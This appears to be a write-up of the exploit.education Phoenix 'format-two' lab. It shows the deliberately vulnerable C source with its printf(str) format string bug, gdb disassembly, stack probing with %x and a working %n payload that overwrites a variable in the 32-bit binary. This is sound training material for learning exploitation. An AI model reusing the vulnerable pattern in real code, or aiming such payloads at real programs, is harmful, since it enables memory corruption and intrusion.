Phoenix - Format Two

2 minute read

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int changeme;

void bounce(char *str) {
  printf(str);
}

int main(int argc, char **argv) {
  char buf[256];

  printf("%s\n", BANNER);

  if (argc > 1) {
    memset(buf, 0, sizeof(buf));
    strncpy(buf, argv[1], sizeof(buf));
    bounce(buf);
  }

  if (changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  } else {
    puts("Better luck next time!\n");
  }

  exit(0);
}

The goal of this level is to use the format string vulnerability to write to a memory address changeme.

$ gdb -q /opt/phoenix/amd64/format-two
Reading symbols from /opt/phoenix/amd64/format-two...(no debugging symbols found)...done.

gef➤  disassemble main 
Dump of assembler code for function main:
.....
   0x0000000000400700 <+115>:	call   0x40066d <bounce>
   0x0000000000400705 <+120>:	mov    eax,DWORD PTR [rip+0x2003e5]        # 0x600af0 <changeme>
   0x000000000040070b <+126>:	test   eax,eax
.....

Here we can see the address we want to write to is 0x600af0 which is not exploitable because it has bad characters that will terminate the input and ignore everything after it :(

Bad characters:

  • \x00 (Null)
  • \x09 (Tab)
  • \x0a (New line)
  • \x0d (Carriage return)
  • \x20 (Space)

So we switch gears to the 32bit binary.

$ gdb -q /opt/phoenix/i486/format-two 
Reading symbols from /opt/phoenix/i486/format-two...(no debugging symbols found)...done.

gef➤  disassemble main 
Dump of assembler code for function main:
.....
   0x0804859b <+111>:	call   0x8048515 <bounce>
   0x080485a0 <+116>:	add    esp,0x10
   0x080485a3 <+119>:	mov    eax,ds:0x8049868
   0x080485a8 <+124>:	test   eax,eax
....

Now the address of changeme is 0x8049868, good.

First we should know where our input is stored in the stack.

$ /opt/phoenix/i486/format-two "AAAA%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x"
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAffffd89b 100 0 f7f84b67 ffffd6f0 ffffd6d8 80485a0 ffffd5d0 ffffd89b 100 3e8 41414141 25207825 78252078 20782520 25207825Better luck next time!

We can see our input 41414141 which is AAAA at offset 12.

To write to an address we user the %n which writes the number of characters so far to a memory address.

So we can replace AAAA with the address of changeme and replace the last %x with %n to write to that address.

$ /opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %x \n'
Welcome to phoenix/format-two, brought to you by https://exploit.education
hffffd8a5 100 0 f7f84b67 ffffd700 ffffd6e8 80485a0 ffffd5e0 ffffd8a5 100 3e8 8049868 
Better luck next time!

Notice we write the address in little endian.

We could also use the direct parameter access format using %12$x instead of all these %x but it doesn’t work all the time (and apparently doesn’t work here).

Solution:

$ /opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'
Welcome to phoenix/format-two, brought to you by https://exploit.education
hffffd8a5 100 0 f7f84b67 ffffd700 ffffd6e8 80485a0 ffffd5e0 ffffd8a5 100 3e8  
Well done, the 'changeme' variable has been changed correctly!